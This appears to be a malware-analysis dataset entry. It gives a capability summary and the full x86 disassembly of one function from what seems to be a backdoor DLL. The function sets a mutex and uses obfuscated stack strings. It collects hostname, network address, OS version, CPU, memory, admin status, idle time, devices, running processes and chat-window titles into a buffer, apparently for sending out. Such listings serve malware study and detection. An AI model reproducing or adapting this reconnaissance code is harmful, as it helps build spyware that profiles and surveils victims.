Function at 0x10005f80
Capabilities:
Contain obfuscated stackstrings
Enumerate devices by category
Enumerate processes
Get graphical window text
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Get token membership
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x17d8
call fcn.10019480
mov eax, dword [0x10024008]
xor eax, esp
mov dword [esp + 0x17d4], eax
push esi
push edi
push 0x59b
push 0
push 0x10025ed9
mov dword [esp + 0x30], edx
mov dword [esp + 0x1c], ecx
call fcn.10008df0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x2e4]
add esp, 0xc
mov byte [0x10025ed8], 0xc8
push str.MUTEX_Ovauogocz
push eax
call edi
push 0x100
lea eax, [esp + 0x1dc]
mov dword [esp + 0x2c], 0x6e6e6f43
push 0
push eax
mov dword [esp + 0x38], 0x47746365
mov dword [esp + 0x3c], 0x70756f72
mov byte [esp + 0x40], 0
call fcn.10008df0
add esp, 0xc
lea eax, [esp + 0x3d8]
push 0x400
push 0
push eax
call fcn.10008df0
add esp, 0xc
mov dword [esp + 0xc8], 0x6e69614d
lea eax, [esp + 0x2d8]
mov dword [esp + 0xcc], 0x5c6c6c44
mov word [esp + 0xd0], 0x7325
mov byte [esp + 0xd2], 0
push eax
lea eax, [esp + 0xcc]
push eax
lea eax, [esp + 0x3e0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [esp + 0x1dc]
lea edx, [esp + 0x3dc]
push 0x100
push ecx
push eax
lea eax, [esp + 0x38]
mov ecx, closesocket
push 1
push eax
call fcn.10005af0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x1f0]
add esp, 0x18
push eax
call esi
test eax, eax
jne 0x100060b8
push 0x10021624
lea eax, [esp + 0x1dc]
push eax
call edi
lea eax, [esp + 0x1d8]
push eax
call esi
test eax, eax
lea edx, [esp + 0x1d8]
mov ecx, 0x10021624
cmovne ecx, edx
push ecx
push 0x10025ed9
call edi
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0x10
push eax
lea eax, [esp + 0x54]
xorps xmm0, xmm0
push eax
mov eax, dword [esp + 0x18]
movaps xmmword [esp + 0x58], xmm0
push dword [eax + 0x48]
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x54]
push 0x100
mov dword [0x10025efc], eax
lea eax, [esp + 0xdc]
push 0
push eax
mov dword [esp + 0xd4], 0x74736f48
mov byte [esp + 0xd8], 0
call fcn.10008df0
add esp, 0xc
lea eax, [esp + 0x3d8]
push 0x400
push 0
push eax
call fcn.10008df0
add esp, 0xc
mov dword [esp + 0x28], 0x6e69614d
lea eax, [esp + 0x2d8]
mov dword [esp + 0x2c], 0x5c6c6c44
mov word [esp + 0x30], 0x7325
mov byte [esp + 0x32], 0
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x3e0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [esp + 0xdc]
lea edx, [esp + 0x3dc]
push 0x100
push ecx
push eax
lea eax, [esp + 0xd8]
mov ecx, closesocket
push 1
push eax
call fcn.10005af0
add esp, 0x18
lea eax, [esp + 0xd8]
push eax
call esi
test eax, eax
jne 0x100061d3
push 0x100
lea eax, [esp + 0xdc]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0xd8]
push eax
call esi
movups xmm0, xmmword [esp + 0xd8]
mov ax, word [esp + 0x108]
push 0x10025f34
movups xmmword [0x10025f00], xmm0
mov word [0x10025f30], ax
movups xmm0, xmmword [esp + 0xec]
mov dword [0x10025f34], 0x9c
movups xmmword [0x10025f10], xmm0
movups xmm0, xmmword [esp + 0xfc]
movups xmmword [0x10025f20], xmm0
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10006270
push str.RtlGetNtVersionNumbers
push esi
call edi
test eax, eax
je 0x10006269
push 0x10025f40
push 0x10025f3c
push 0x10025f38
call eax
xor eax, eax
mov word [0x10025f42], ax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.IsWow64Process
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
mov esi, eax
xor eax, eax
mov dword [esp + 0x1c], eax
test esi, esi
je 0x100062a5
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
neg eax
sbb eax, eax
and eax, dword [esp + 0x1c]
push ecx
push 4
push ecx
test eax, eax
mov word [esp + 0xdc], 0
lea eax, [esp + 0xd4]
xorps xmm0, xmm0
push eax
push 4
push str.MHz
mov edx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
movq qword [esp + 0xe0], xmm0
mov ecx, closesocket
setne byte [0x10025ff8]
call fcn.10005af0
add esp, 0x18
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [esp + 0xc8]
push eax
push dword [esp + 0xbc]
push str._d_sMHz
push 0x10025fdc
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x800
call fcn.100073e9
add esp, 0x14
mov edi, eax
mov dword [esp + 0x1c], edi
push 0x104
push 0
push edi
call fcn.10008df0
add esp, 0xc
lea eax, [esp + 0x7d8]
push 0x800
push 0
push eax
call fcn.10008df0
add esp, 0xc
lea eax, [esp + 0xfd8]
push 0x800
push 0
push eax
call fcn.10008df0
add esp, 0xc
push 0
push str.CTXOPConntion_Class
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
mov dword [esp + 0x20], esi
test esi, esi
je 0x100064c5
push 0x104
lea eax, [esp + 0x3dc]
push 0
push eax
call fcn.10008df0
add esp, 0xc
lea eax, [esp + 0x3d8]
push 0x104
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
mov ecx, str.CTXOPConntion_Class
lea eax, [esp + 0x3d8]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100063e0
test dl, dl
je 0x100063dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100063e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100063c0
xor eax, eax
jmp 0x100063e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100064ae
test esi, esi
je 0x10006405
push 0x104
lea eax, [esp + 0x7dc]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0x7d8]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006410
sub eax, edx
nop dword [eax]
dec eax
cmp byte [esp + eax + 0x7d8], 0x5f
jne 0x10006420
lea ecx, [esp + 0x7d9]
add ecx, eax
lea edx, [esp + 0xfd8]
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10006440
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10006477
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10006460
mov ax, word [0x10020db8]
mov word [edi], ax
mov edi, dword [esp + 0x1c]
lea edx, [esp + 0xfd8]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10006480
sub edx, esi
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10006490
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
push 2
push esi
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
mov dword [esp + 0x20], esi
test esi, esi
jne 0x10006382
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x100064e1
mov ax, word [0x10020dbc]
mov word [edi], ax
mov al, byte [0x10020dbe]
mov byte [edi + 2], al
push edi
push 0x10026048
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x48]
mov dword [0x1002606c], 0
push eax
mov dword [esp + 0x4c], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x4c]
mov edx, 1
mov ecx, dword [0x1002606c]
cmp eax, 0x2bf20
lea eax, [esp + 0x1c]
mov dword [esp + 0xc8], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0xf0]
mov word [esp + 0xf4], 0x500
cmova ecx, edx
push eax
mov dword [0x1002606c], ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [esp + 0x20], eax
test eax, eax
je 0x10006599
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 0x1c]
neg eax
sbb eax, eax
and dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 0x20]
mov dword [0x10026068], eax
lea eax, [esp + 0x60]
push eax
mov dword [esp + 0x64], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x68]
mov eax, dword [esp + 0x6c]
shrd ecx, eax, 0x14
push str.Ole32.dll
shr eax, 0x14
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x28]
mov dword [0x10025ffc], ecx
mov dword [0x10025ff0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.CoInitialize
push edi
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CoUninitialize
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CoCreateInstance
push edi
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Oleaut32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SysFreeString
push eax
mov dword [esp + 0xd0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov dword [esp + 0x28], eax
call esi
lea eax, [esp + 0x3c]
xor esi, esi
push eax
push 0x1001a358
push 1
push esi
push 0x1001a338
call edi
test eax, eax
jne 0x10006738
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x20]
push 0
push edx
push 0x1001a348
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10006678
xor esi, esi
jmp 0x10006738
mov eax, dword [esp + 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x44]
push edx
lea edx, [esp + 0x20]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10006715
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push edx
push 0x1001a2e0
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x100066f1
mov eax, 8
lea edx, [esp + 0x28]
mov word [esp + 0x28], ax
mov eax, dword [esp + 0x24]
push 0
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100066e7
push dword [esp + 0x30]
inc esi
call edi
mov eax, dword [esp + 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x44]
push edx
lea edx, [esp + 0x20]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100066a0
call dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x1000672a
push eax
call edi
mov eax, dword [esp + 0xc8]
test eax, eax
je 0x10006738
push eax
call edi
push str.1.0.1
push 0x10026000
mov dword [0x10025ff4], esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x400
push 0
push 0x10026488
mov dword [esp + 0x30], 0
call fcn.10008df0
add esp, 0x14
push 0x100200cc
push dword [0x10024a20]
call fcn.100086b0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 8
test eax, eax
jne 0x10006845
mov esi, 0x10024a20
mov dword [esp + 0x20], 0
mov eax, dword [esi]
push 0
push 2
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x128
mov edi, eax
call fcn.10007415
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10006812
push dword [esp + 0x24]
lea eax, [esi + 0x24]
push eax
call fcn.1000df0c
add esp, 8
test eax, eax
je 0x100068aa
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x10006812
nop
push dword [esp + 0x24]
lea eax, [esi + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100068aa
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100067f0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
shl eax, 3
lea esi, [eax + 0x10024a20]
mov dword [esp + 0x20], eax
push 0x100200cc
push dword [esi]
call fcn.100086b0
add esp, 8
test eax, eax
je 0x10006798
push 0x100200cc
push 0x10026488
call fcn.100086b0
add esp, 8
test eax, eax
jne 0x10006867
push 0x10020dbc
push 0x10026488
call edi
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10026488]
lea edx, [edx + 1]
mov byte [edx + 0x1002601f], al
test al, al
jne 0x10006870
mov ecx, dword [esp + 0x10]
push 0x59c
push 0x10025ed8
call fcn.100018b0
mov ecx, dword [esp + 0x17dc]
pop edi
pop esi
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret
mov eax, 8
cmp dword [eax + esi], 0
je 0x10006812
mov eax, dword [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [eax + 0x10024a24]
push 0x10026488
call edi
push 0x100200cc
push 0x10026488
call edi
jmp 0x10006818